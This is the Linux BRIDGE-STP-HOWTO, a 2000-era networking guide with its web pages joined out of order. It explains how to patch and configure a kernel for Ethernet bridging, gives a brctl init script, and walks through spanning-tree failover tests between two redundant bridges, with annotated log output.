I think a fat 486 or a modest Pentium should be able to keep up with 2x100Mbit pretty well, but I have never tested this. I don't think RAM will matter much (8 or 16MB and all should be fine). CPU will not matter a whole lot either (486/Pentium and all should be fine). I think the primary contributor is the type of bus (ISA, PCI) and the type of network cards (some network cards require less "work" than others). Big switches usually have immensely fat internal buses (3 or 4 gigabits is not uncommon). Standard PCI, for example, can't keep up with a gigabit ethernet cards.

Can you please recommend some tools to measure a 2-port linux bridge throughput.

Well, first question is: does it have 100mbit interfaces? If it hasn't (10mbit only), it shouldn't have problems with keeping up, almost regardless of the processor speed. If it does have 100mbit interfaces and you're not sure it will keep up, you can run a flood ping with big packets across it (ping -f -s 1450 ipaddress) and see whether it keeps up.

2. Software

I'm running with kernel x.x.x. Is a patch out there, to give me chance to use this stuff?

There are patches for and 2.2.14, 2.2.15. Since 2.3.47 it's in the mainstream kernel, so you don't need to patch. If you're talking about others, you will have to upgrade, if you need to bridge.

Note: I've heared unconfirmed roumors about the 2.2.15 patches working without any change also with the 2.2.16 kernel. Anyone mind telling me about it?

Prev | Home
Recommended Reading |


Document Home and Downloads

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

2. Document Home and Downloads

2.1. The Bridge Sources And Utilities

Official url is http://www.math.leidenuniv.nl/~buytenh/bridge/. With developer kernel 2.3.47 the new bridging code is part of the mainstream.

2.2. The Mailing-List

The Bridge-Mailinglist is homed at http://www.math.leidenuniv.nl/mailman/listinfo/bridge.

2.3. This Document

This document has it's official homepage at http://www.bnhof.de/~uwe/bridge-stp-howto/BRIDGE-STP-HOWTO/. It's a part of the Linux Documentation Project located at http://www.linuxdoc.org/.

Download Types and Locations

Build environment as tar.gziped file

http://www.bnhof.de/~uwe/bridge-stp-howto/BRIDGE-STP-HOWTO.tar.gz

HTML-gziped file

http://www.bnhof.de/~uwe/bridge-stp-howto/BRIDGE-STP-HOWTO.html.tar.gz

PDF-gziped file

http://www.bnhof.de/~uwe/bridge-stp-howto/BRIDGE-STP-HOWTO.pdf.gz

PS-gziped file

http://www.bnhof.de/~uwe/bridge-stp-howto/BRIDGE-STP-HOWTO.ps.gz

Prev | Home | Next
License |  | What Is A Bridge?


Linux BRIDGE-STP-HOWTO

Uwe Böhme

Johann-Heinrich-Abt-Straße 7
95213
Münchberg
Germany
+49/9251 960877
+49/9251 960878
uwe@bnhof.de

Lennert Buytenhenk

bridge code maintainer and developer
gnu.org

buytenh@gnu.org

Release v0.04

Copyright © 2000 by Uwe Böhme

Revision History
Revision v0.04 | 11 January 2001 | Revised by: U.B.
Changed Lennert`s Bridge Homepage URL; added NIC to list.
Revision v0.03 | 17 July 2000 | Revised by: U.B.
Overwork pdf. Download links in doc.
Revision v0.02 | 16 July 2000 | Revised by: U.B.
Fixed broken graphics in html dsl. Prepared pdf. Typos.
Revision v0.01 | 25 June 2000 | Revised by: U.B.
Changes name from BRIDGE-HOWTO to BRIDGE-STP-HOWTO (avoid interference with BRIDGE-HOWTO by Christopher Cole) and kill version 1.xx. Lennert Buytenhenk announced as coauthor.
Revision v0.00 | 01 June 2000 | Revised by: U.B.
Initial Release.
Table of Contents
1. License
2. Document Home and Downloads
2.1. The Bridge Sources And Utilities
2.2. The Mailing-List
2.3. This Document
3. What Is A Bridge?
4. Rules On Bridging
5. Preparing The Bridge
5.1. Get The Files
5.2. Apply The Patches
5.3. Configure The Kernel
5.4. Compile The Kernel
5.5. Compile The Bridge Utilities
6. Set Up The Bridge
6.1. brctl Command Synopsis
6.2. Basic Setup
7. Advanced Bridge Features
7.1. Spanning Tree Protocol
7.2. Bridge And The IP-Chains
8. A Practical Setup Example
8.1. Hardware-setup
8.2. Software-setup
8.3. See It Work
8.4. Bridge Tests
8.4.1. Tear The Patch Wire Test
8.4.2. Kill The Root Bridge Test
A. Network Interface Cards
B. Recommended Reading
C. FAQ
About The Linux Modular Bridge And STP

This document describes how to setup a bridge with the recent kernel patches and brctl utility by Lennert Buytenhek. and tries to explain about the STP implementation in this code.

With developer kernel 2.3.47 the new bridging code is part of the mainstream. There are patches for stable kernels 2.2.14 to 2.2.16, where each is also available as a ipchains-patch.

Next
License


License

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

1. License

Copyright (c) 2000 by Uwe Böhme. This document may be distributed only subject to the terms and conditions set forth in the LDP License available at http://www.linuxdoc.org/

Prev | Home | Next
Linux BRIDGE-STP-HOWTO |  | Document Home and Downloads


Network Interface Cards

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

A. Network Interface Cards

In this section you will find a (for now) very incomplete list of NIC's which are known to work or known to cause problem. For I neither have the money to buy a lot of different NIC's, nor I have any connections to hardware vendors, I depend on your feedback to keep the list accurate. So feel free to mail about success or failure to Uwe Böhme.

Valuing Of NIC Information

- - -

Cards I tried and are also reported not to work by other people

- -

Cards I tried or are reported not to work by other people

-

Cards reported not to work by other people

+

Cards reported to work by other people

+ +

Cards I tried or are reported to work by other people

+ + +

Cards I tried and are also reported to work by other people

NIC Information

3c509b Etherlink III

+ +

3c905b/3c905c

+ + + Never heard about any problem

HP J2585A

- - System hang-up after ifconfig, unable to run promisc mode

HP J2585B

+ +

AMD PCnet32 10/100

+ +

RTL (Realtek) 8029

+ +

Prev | Home | Next
A Practical Setup Example |  | Recommended Reading


A Practical Setup Example

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

8. A Practical Setup Example

This is a real-world example which is currently working in our network. Even if it's for sure not a very common situation it might be useful.

I had to solve a small hardware incompatibility. HP-VG (Voice Grade) 100Mbit network is not fast Ethernet compatible. Having neither the money nor the will to replace the stuff and having the need to expand the system I had to find a solution which was a) stable and b) cheap.

For sure buying a HP modular switch was not meeting condition b). So I remembered I heard about Linux-bridging which automatically fulfilled condition a) and b).

So quite some time ago I successfully set up a bridge between the two incompatible networks. Its first hardware-layout is shown in Figure 1.

Figure 1. Hardware setup Of The Old Bridge Scenario

The old setup of my previous linux bridge

It was configured as a transparent network component, meaning it didn't take a part in the network, but only bridged it. Originally it was set up on kernel 2.0.35 from a SuSE 5.3 distribution.

The next problem showed up at once. A single bridge connecting the big segments might be c) a bottleneck and d) a reason to kill the netadmin, if it blows up. So I tried to find some solution for that problem.

What happened next was that I discovered some hints that a new maintainer took over the bridging code. A few mails on the bridge-mailing list later as shown in Section 7.1 I was more clever. The new modular bridging code fulfilled exactly what I was looking for.

The new maintainer: Lennert Buytenhek . His project page can be found at http://www.math.leidenuniv.nl/~buytenh/bridge/ IMHO he's doing a great job. Thanks a lot.

8.1. Hardware-setup

The ideas and hints I got from the mailing list discussion shown in Section 7.1 lead to a new hardware-setup shown in Figure 2. The setup is intended to provide a default machine (guess which one). The bridge has 3 HP cards of which each is connected to a HP VG15 hub. The 3com card is connected to a 3com Superstack Fast Ethernet switch.

Figure 2. Hardware Setup Of The Multi bridge Scenario

The practically working setup of my local linux Ethernet multi bridge

This setup is not only fail proof to any one of the bridge's interfaces being down, but also to complete blackout of one of the bridges. Additional advantage to the old-setup Figure 1 that the single HUBS are switched. This means that a datagram being sent from one port on the VG15 HUB blocks 30 ports by maximum and 15 ports by minimum, instead of blocking all 45 ports. Also, the breakdown of the HUB, to the old bridge was connected, would have caused the whole HP-segment to break down. With the new code only the machines connected to the broken HUB will get no more data.

8.2. Software-setup

For both bridges the setup is exactly the same (with the exception of bridge priority which will be discussed later on). The machine was setup by the SuSE 6.4 distribution with the original unpatched kernel sources installed. At this point only the minimal configuration and no additional hardware or network setup.

The basic setup is according the descriptions in the beginning of this document. The thing I did in addition was bringing up the unpatched 2.2.14 sources of the SuSE 6.4 distribution to version 2.2.15 as in Example 11.

Example 11. Upgrading The Kernel From 2.2.14 To 2.2.15

root@mbb-1:~ # cd /usr/src/linux-2.2.14
root@mbb-1:/usr/src/linux-2.2.14 # patch -p1 \
    /usr/local/download/kernel/patch-2.2.15
patching file ........................
patching file ...................
...
..
root@mbb-1:/usr/src/linux-2.2.14 # cd ..
root@mbb-1:/usr/src # mv linux-2.2.14 linux-2.2.15
root@mbb-1:/usr/src # rm linux
root@mbb-1:/usr/src # ln -s linux-2.2.15 linux

Next step was to apply the bridge-patch as shown in Example 12.

Example 12. Applying The Kernel Patch

root@mbb-1:/usr/src # cd /usr/src/linux-2.2.15
root@mbb-1:/usr/src/linux-2.2.15 # patch -p1 < \
    bridge-0.0.5-against-2.2.15.diff
patching file ........................
patching file ...................
...
..

After that I selected the bridging code to be compiled as a module as shown in Example 13.

Example 13. Configuring The Kernel

root@mbb-1:/usr/src/linux-2.2.15 # make config

..

*
* Code maturity level options
*
Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL)
[N/y/?] Y

..

802.1d Ethernet Bridging (CONFIG_BRIDGE) [N/y/m/?] (NEW) m

..

By the way I also selected the drivers of my NIC's to be compiled as modules which resulted to 3c95x.o and hp100.o.

root@mbb-1:/usr/src/linux-2.2.15 # make dep clean zImage \
  modules modules_install zlilo

..

root@mbb-1:/usr/src/linux-2.2.15 # init 6

After the reboot happening I started at runlevel 1 leaving all the networking out of the running system. That gave me the chance to check the setup step by step.

The command modprobe -v bridge worked without any warnings, so that one was OK. Next I edited my /etc/modules.conf by aliasing my network card drivers as shown in Example 14 and Example 15. I didn't need to make use of the options, all cards where realized proper as I checked by cat /proc/modules, cat /proc/interrupts and cat /proc/ioports.

Example 14. /etc/modules.conf of mbb-1

# Aliases - specify your hardware
alias eth0             3c59x
alias eth1             hp100
alias eth2             hp100
alias eth3             hp100

Example 15. /etc/modules.conf of mbb-2

# Aliases - specify your hardware
alias eth0             3c509
alias eth1             hp100
alias eth2             hp100
alias eth3             hp100

So next thing would have been a step by step setup of the bridge and it's interfaces. Because I'm lazy I just show the init script I prepared for the setup.

Important: Of course you'll have do adapt the script to your system, if you want to use it. Please remember I'm writing this for the setup of a SuSE distribution.

Example 16. Bridge Init Script

#! /bin/bash
# Copyright (c) 2000 Uwe Böhme.  All rights reserved.
#
# Author: Uwe Böhme <uwe@bnhof.de>, 2000
#
#
# /sbin/init.d/bridge
#

. /etc/rc.config

return=$rc_done
case "$1" in

    start)
        echo "Starting service bridge mueb"
        brctl addbr mueb  ||  return=$rc_failed                               (1)
        brctl setbridgeprio mueb 0 || return=$rc_failed                       (2)
        brctl addif mueb eth0  ||  return=$rc_failed                          (3)
        brctl addif mueb eth1  ||  return=$rc_failed                          (4)
        brctl addif mueb eth2  ||  return=$rc_failed                          (5)
        brctl addif mueb eth3  ||  return=$rc_failed                          (6)
        ifconfig eth0 0.0.0.0  ||  return=$rc_failed                          (7)
        ifconfig eth1 0.0.0.0  ||  return=$rc_failed                          (8)
        ifconfig eth2 0.0.0.0  ||  return=$rc_failed                          (9)
        ifconfig eth3 0.0.0.0  ||  return=$rc_failed                          (10)
        brctl sethello mueb 1  ||  return=$rc_failed                        (11)
        brctl setmaxage mueb 4  ||  return=$rc_failed                       (12)
        brctl setfd mueb 4  ||  return=$rc_failed                           (13)

        echo -e "$return"
        ;;

    stop)
        echo "Shutting down service bridge mueb"
        brctl delif mueb eth3  ||  return=$rc_failed                        (14)
        brctl delif mueb eth2  ||  return=$rc_failed                        (15)
        brctl delif mueb eth1  ||  return=$rc_failed                        (16)
        brctl delif mueb eth0  ||  return=$rc_failed                        (17)
        brctl delbr mueb  ||  return=$rc_failed                             (18)
        rmmod bridge || return=$rc_failed                                   (19)

        echo -e "$return"
        ;;

    status)
        ifconfig mueb
        brctl showbr mueb
    ;;

    restart)
        $0 stop && $0 start || return=$rc_failed
        ;;

    *)
        echo "Usage: $0 {start|stop|status|restart}"
        exit 1
esac

test "$return" = "$rc_done" || exit 1
exit 0

This command creates a new virtual interface (bridge instance) with the name mueb and also brings up the bridge module.

Note: At least my system it does. Maybe you have to enable the kernel module loader.

Here the script sets the bridge's priority (relative to other bridges in the net) to 0. This is indicating that this bridge will become the root bridge as long as there is no other bridge with a lower priority level available.

Important: In the init script of the backup bridge this line in missing, leaving it with the default priority of 100.

Enslaves the Ethernet interface to become a port in the bridge.
Takes away any possibly disturbing IP-address and brings the interface up.
(11)
Setting the hello time of the bridge to one second makes it possible to reduce the maxage value of the bridges inside the network.
(12)
Setting the time the a bridge is waiting before starting the takeover process to a shorter period.
(13)
Forcing the bridge to forward earlier than the default time.
(14) (15) (16) (17)
Take the Ethernet out of the bridging instance.
(18)
Destroy the bridge instance.
(19)
Remove the bridge module.

To polish your setup and to be able to reach the bridge from remote you now can configure your bridge instance as if it would be a physical existing network interface. You can give it a nice IP with a suitable net-mask. It doesn't matter from which segment in you net, you will reach the bridge with this IP-address.

8.3. See It Work

Here I want to show and explain about how the running bridge shows up. The output Example 17 of bridge@mbb-1 is the output of the primary bridge, while you see in Example 18 the output of the backup bridge waiting to take over.

Example 17. Status Output Of mbb-1 Fully Up

mueb
 bridge id		0000.0800062815f6
 designated root	0000.0800062815f6
 root port		   0			path cost		   0
 max age		   4.00			bridge max age		   4.00
 hello time		   1.00			bridge hello time	   1.00
 forward delay		   4.00			bridge forward delay	   4.00
 ageing time		 300.00			gc interval		   4.00
 hello timer		   0.80			tcn timer		   0.00
 topology change timer	   0.00			gc timer		   3.80
 flags

eth0 (1)
 port id		8001			state			forwarding
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.00
 designated port	8001			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.80
 flags

eth1 (2)
 port id		8002			state			forwarding
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.00
 designated port	8002			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.80
 flags

eth2 (3)
 port id		8003			state			forwarding
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.00
 designated port	8003			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.80
 flags

eth3 (4)
 port id		8004			state			forwarding
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.00
 designated port	8004			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.80
 flags

Example 18. Status Output Of mbb-2 Fully Up

mueb
 bridge id		0064.00a024d04cd6
 designated root	0000.0800062815f6
 root port		   1			path cost		 100
 max age		   4.00			bridge max age		   4.00
 hello time		   1.00			bridge hello time	   1.00
 forward delay		   4.00			bridge forward delay	   4.00
 ageing time		 300.00			gc interval		   4.00
 hello timer		   0.00			tcn timer		   0.00
 topology change timer	   0.00			gc timer		   2.39
 flags

eth0 (1)
 port id		8001			state			forwarding
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.42
 designated port	8001			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.00
 flags

eth1 (2)
 port id		8002			state			blocking
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.42
 designated port	8002			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.00
 flags

eth2 (3)
 port id		8003			state			blocking
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.42
 designated port	8003			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.00
 flags

eth3 (4)
 port id		8004			state			blocking
 designated root	0000.0800062815f6	path cost		 100
 designated bridge	0000.0800062815f6	message age timer	   0.42
 designated port	8004			forward delay timer	   0.00
 designated cost	   0			hold timer		   0.00
 flags

If you take a glance into /var/log/messages as shown in Example 19 and in Example 20 you can see how the bridges are coming up and deciding how to do their duty. mbb-1 has a lower value for bridge-priority (see (9) ), telling it to try to become the root bridge. As you can see mbb-1 forwards all ports, while mbb-2 blocks all ports with the exception of eth0.

Example 19. mbb-1 Messages From init 2

May 25 16:46:04 mbb-1 init: Switching to runlevel: 2
May 25 16:46:04 mbb-1 kernel: NET4: Ethernet Bridge 008 for NET4.0
May 25 16:46:04 mbb-1 kernel: device eth0 entered promiscuous mode
May 25 16:46:04 mbb-1 kernel: device eth1 entered promiscuous mode
May 25 16:46:04 mbb-1 kernel: device eth2 entered promiscuous mode
May 25 16:46:04 mbb-1 kernel: device eth3 entered promiscuous mode
May 25 16:46:04 mbb-1 kernel: mueb: port 4(eth3) entering listening state
May 25 16:46:04 mbb-1 kernel: mueb: port 3(eth2) entering listening state
May 25 16:46:04 mbb-1 kernel: mueb: port 2(eth1) entering listening state
May 25 16:46:04 mbb-1 kernel: mueb: port 1(eth0) entering listening state
May 25 16:46:08 mbb-1 kernel: mueb: port 4(eth3) entering learning state
May 25 16:46:08 mbb-1 kernel: mueb: port 3(eth2) entering learning state
May 25 16:46:08 mbb-1 kernel: mueb: port 2(eth1) entering learning state
May 25 16:46:08 mbb-1 kernel: mueb: port 1(eth0) entering learning state
May 25 16:46:12 mbb-1 kernel: mueb: port 4(eth3) entering forwarding state
May 25 16:46:12 mbb-1 kernel: mueb: topology change detected, propagating
May 25 16:46:12 mbb-1 kernel: mueb: port 3(eth2) entering forwarding state
May 25 16:46:12 mbb-1 kernel: mueb: topology change detected, propagating
May 25 16:46:12 mbb-1 kernel: mueb: port 2(eth1) entering forwarding state
May 25 16:46:12 mbb-1 kernel: mueb: topology change detected, propagating
May 25 16:46:12 mbb-1 kernel: mueb: port 1(eth0) entering forwarding state
May 25 16:46:12 mbb-1 kernel: mueb: topology change detected, propagating

Example 20. mbb-2 Messages From init 2

Jun  8 06:06:16 mbb-2 init: Switching to runlevel: 2
Jun  8 06:06:17 mbb-2 kernel: NET4: Ethernet Bridge 008 for NET4.0
Jun  8 06:06:17 mbb-2 kernel: device eth0 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: device eth1 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: device eth2 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: device eth3 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: mueb: port 4(eth3) entering listening state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 3(eth2) entering listening state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 2(eth1) entering listening state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 1(eth0) entering listening state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 2(eth1) entering blocking state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 3(eth2) entering blocking state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 4(eth3) entering blocking state
Jun  8 06:06:21 mbb-2 kernel: mueb: port 1(eth0) entering learning state
Jun  8 06:06:25 mbb-2 kernel: mueb: port 1(eth0) entering forwarding state

8.4. Bridge Tests

To check if really all the promised features are working, I did some crude test. The message logs are shown here in.

8.4.1. Tear The Patch Wire Test

I think just taking a patch wire out of a bridge port is a really good real survival test. So I pulled the plugs one by one out of the sockets and looked what happened. To give you not too much tension let me summarize first: It's really working. All the takeovers happened within less then 12 seconds.

The really interesting messages you can find at mbb-2. To see how everything comes up, I stopped network services first. In Example 21 you will see the messages caused by a init 2 followed by a "take out the plug, wait what happens, then place it back" in the order eth3, eth2, eth1, eth0 .

Note: The thing I did, was making the tests, and publishing the dump. The one writing the nice explanations was Lennert again.

Example 21. mbb-2 Message Output Of Bridge Test

Jun  8 06:06:16 mbb-2 init: Switching to runlevel: 2
Jun  8 06:06:17 mbb-2 kernel: NET4: Ethernet Bridge 008 for NET4.0
Jun  8 06:06:17 mbb-2 kernel: device eth0 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: device eth1 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: device eth2 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: device eth3 entered promiscuous mode
Jun  8 06:06:17 mbb-2 kernel: mueb: port 4(eth3) entering listening state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 3(eth2) entering listening state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 2(eth1) entering listening state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 1(eth0) entering listening state                   (1)
Jun  8 06:06:17 mbb-2 kernel: mueb: port 2(eth1) entering blocking state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 3(eth2) entering blocking state
Jun  8 06:06:17 mbb-2 kernel: mueb: port 4(eth3) entering blocking state
Jun  8 06:06:21 mbb-2 kernel: mueb: port 1(eth0) entering learning state
Jun  8 06:06:25 mbb-2 kernel: mueb: port 1(eth0) entering forwarding state                  (2)
Jun  8 06:07:15 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 4(eth3)   (3)
Jun  8 06:07:15 mbb-2 kernel: mueb: port 4(eth3) entering listening state                   (4)
Jun  8 06:07:19 mbb-2 kernel: mueb: port 4(eth3) entering learning state                    (5)
Jun  8 06:07:23 mbb-2 kernel: mueb: port 4(eth3) entering forwarding state                  (6)
Jun  8 06:07:23 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu              (7)
Jun  8 06:08:51 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu              (8)
Jun  8 06:08:51 mbb-2 kernel: mueb: port 4(eth3) entering blocking state                    (9)
Jun  8 06:09:22 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 3(eth2)   (10)
Jun  8 06:09:22 mbb-2 kernel: mueb: port 3(eth2) entering listening state
Jun  8 06:09:26 mbb-2 kernel: mueb: port 3(eth2) entering learning state
Jun  8 06:09:30 mbb-2 kernel: mueb: port 3(eth2) entering forwarding state
Jun  8 06:09:30 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun  8 06:10:09 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun  8 06:10:09 mbb-2 kernel: mueb: port 3(eth2) entering blocking state
Jun  8 06:10:10 mbb-2 kernel: mueb: retransmitting tcn bpdu                               (11)
Jun  8 06:10:41 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 2(eth1) (12)
Jun  8 06:10:41 mbb-2 kernel: mueb: port 2(eth1) entering listening state
Jun  8 06:10:45 mbb-2 kernel: mueb: port 2(eth1) entering learning state
Jun  8 06:10:49 mbb-2 kernel: mueb: port 2(eth1) entering forwarding state
Jun  8 06:10:49 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun  8 06:11:06 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun  8 06:11:06 mbb-2 kernel: mueb: port 2(eth1) entering blocking state
Jun  8 06:11:33 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 1(eth0) (13)
Jun  8 06:11:33 mbb-2 kernel: mueb: port 2(eth1) entering listening state
Jun  8 06:11:37 mbb-2 kernel: mueb: port 2(eth1) entering learning state
Jun  8 06:11:41 mbb-2 kernel: mueb: port 2(eth1) entering forwarding state
Jun  8 06:11:41 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun  8 06:14:18 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun  8 06:14:18 mbb-2 kernel: mueb: port 2(eth1) entering blocking state
Jun  8 06:14:19 mbb-2 kernel: mueb: retransmitting tcn bpdu
The kernel sees that there are already bridges (actually, only one of them, but Hello packets are coming in on all 4 of the ports) on eth[0123].
To maintain connectivity with the rest of the network, the bridge decides to keep port 1 (eth0) active (i.e. in the "forwarding" state), and to temporarily disable ports 2-4.
The plug on eth3 was pulled. Here you can see that the message age timer expired ( (13)). The last Hello packet was seen more than X seconds ago. The bridge concludes that the connection to the bridge that was there has died. Therefore, it is going to try to enable this port, to provide network connectivity to the now-cutoff segment.
It enters the listening state. It waits to see whether the old bridge might come back, or whether another bridge is going to claim takeover.
Okay, no other bridge was seen. We're going to try to provide network connectivity to this segment ourselves. Which means: we're going to try and become "designated bridge" for this segment. We now enter the learning state. In this state, we only learn MAC addresses and we do not forward yet. This is because if we see an unknown destination address, we send the datagram to all ports, and this "flooding" will happen unnecessarily often if we have a empty MAC table. Therefore, we're going to fill up our MAC table with useful entries first, and this is what happens during the learning state.
Okay, here we go. Pray for us.
Because we took over for this segment, all communication towards this segment now goes through this bridge. This means that the topology has changed. If the topology changes, we must let all bridges now, so that they can time out stale MAC address location data quickly. This is why we send Topology Change Notification Bridge Protocol Data Units (tcn bpdus).

Apparently the root bridge immediately acknowledges this tcn bpdu in the next Hello message it sends (the protocol requires for the root bridge to acknowledge it), because this is the only such message we see.

Note: In situations where you see loads of these messages, it means that the root bridge cannot acknowledge them, which probably means your root bridge has a twisted STP implementation.

Hey, something happened again!
Yup... eth3 came back online. The root bridge will provide connectivity for this segment again, so that we can disable this port.
(10) (12) (13)
Same story for eth2, eth1 and eth0.
(11)
This means the tcn bpdu wasn't acknowledged quick enough. That is why it is retransmitted.

The root bridge mbb-1 was not so chatty. It only reported some topology changes and propagated them as you can see in Example 22. If somebody can offer a explanation why the root bridge is so quiet in messaging please tell me.

Example 22. mbb-2 Message Output Of Bridge Test

Jun  8 06:06:52 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun  8 06:06:52 mbb-1 kernel: mueb: topology change detected, propagating
Jun  8 06:07:31 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun  8 06:07:31 mbb-1 kernel: mueb: topology change detected, propagating
Jun  8 06:07:32 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun  8 06:07:32 mbb-1 kernel: mueb: topology change detected, propagating
Jun  8 06:08:11 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun  8 06:08:11 mbb-1 kernel: mueb: topology change detected, propagating
Jun  8 06:08:29 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun  8 06:08:29 mbb-1 kernel: mueb: topology change detected, propagating
Jun  8 06:09:03 mbb-1 kernel: mueb: received tcn bpdu on port 2(eth1)
Jun  8 06:09:03 mbb-1 kernel: mueb: topology change detected, propagating
Jun  8 06:11:40 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun  8 06:11:40 mbb-1 kernel: mueb: topology change detected, propagating
Jun  8 06:11:41 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun  8 06:11:41 mbb-1 kernel: mueb: topology change detected, propagating

One of the other bridges tells us that the topology of the LAN has changed (see Example 21). Well, okay. We will set lower timeouts on our MACC table for a short period of time, and we will propagate this topology change throughout the network.

8.4.2. Kill The Root Bridge Test

The ultimate test is of course a total blocking, breakdown or something similar to the root bridge. I did this by shooting down the root bridge by init 1. Next I brought it up again with init 2. Last I pulled all plugs out of the root bridge and waited for some time before I placed them again. In Example 23 you will see the messages from the master-bridge mbb-1, and in Example 24 you see what happened the same time at the backup-bridge mbb-2.

Example 23. Test Messages Of Master Bridge mbb-1

Jun 12 13:35:15 mbb-1 init: Switching to runlevel: 1
Jun 12 13:35:20 mbb-1 kernel: mueb: port 4(eth3) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: mueb: port 3(eth2) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: mueb: port 2(eth1) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: mueb: port 1(eth0) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: mueb: port 2(eth1) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: device eth1 left promiscuous mode
Jun 12 13:35:20 mbb-1 kernel: mueb: port 1(eth0) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: device eth0 left promiscuous mode
Jun 12 13:35:20 mbb-1 kernel: mueb: port 4(eth3) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: device eth3 left promiscuous mode
Jun 12 13:35:20 mbb-1 kernel: mueb: port 3(eth2) entering disabled state
Jun 12 13:35:20 mbb-1 kernel: device eth2 left promiscuous mode
Jun 12 13:35:50 mbb-1 init: Switching to runlevel: 2
Jun 12 13:35:50 mbb-1 kernel: NET4: Ethernet Bridge 008 for NET4.0
Jun 12 13:35:51 mbb-1 kernel: device eth0 entered promiscuous mode
Jun 12 13:35:51 mbb-1 kernel: device eth1 entered promiscuous mode
Jun 12 13:35:51 mbb-1 kernel: device eth2 entered promiscuous mode
Jun 12 13:35:51 mbb-1 kernel: device eth3 entered promiscuous mode
Jun 12 13:35:51 mbb-1 kernel: mueb: port 4(eth3) entering listening state
Jun 12 13:35:51 mbb-1 kernel: mueb: port 3(eth2) entering listening state
Jun 12 13:35:51 mbb-1 kernel: mueb: port 2(eth1) entering listening state
Jun 12 13:35:51 mbb-1 kernel: mueb: port 1(eth0) entering listening state
Jun 12 13:35:51 mbb-1 kernel: mueb: received tcn bpdu on port 2(eth1)
Jun 12 13:35:51 mbb-1 kernel: mueb: topology change detected, propagating
Jun 12 13:35:52 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun 12 13:35:52 mbb-1 kernel: mueb: topology change detected, propagating
Jun 12 13:35:55 mbb-1 kernel: mueb: port 4(eth3) entering learning state
Jun 12 13:35:55 mbb-1 kernel: mueb: port 3(eth2) entering learning state
Jun 12 13:35:55 mbb-1 kernel: mueb: port 2(eth1) entering learning state
Jun 12 13:35:55 mbb-1 kernel: mueb: port 1(eth0) entering learning state
Jun 12 13:35:59 mbb-1 kernel: mueb: port 4(eth3) entering forwarding state
Jun 12 13:35:59 mbb-1 kernel: mueb: topology change detected, propagating
Jun 12 13:35:59 mbb-1 kernel: mueb: port 3(eth2) entering forwarding state
Jun 12 13:35:59 mbb-1 kernel: mueb: topology change detected, propagating
Jun 12 13:35:59 mbb-1 kernel: mueb: port 2(eth1) entering forwarding state
Jun 12 13:35:59 mbb-1 kernel: mueb: topology change detected, propagating
Jun 12 13:35:59 mbb-1 kernel: mueb: port 1(eth0) entering forwarding state
Jun 12 13:35:59 mbb-1 kernel: mueb: topology change detected, propagating
Jun 12 13:39:03 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
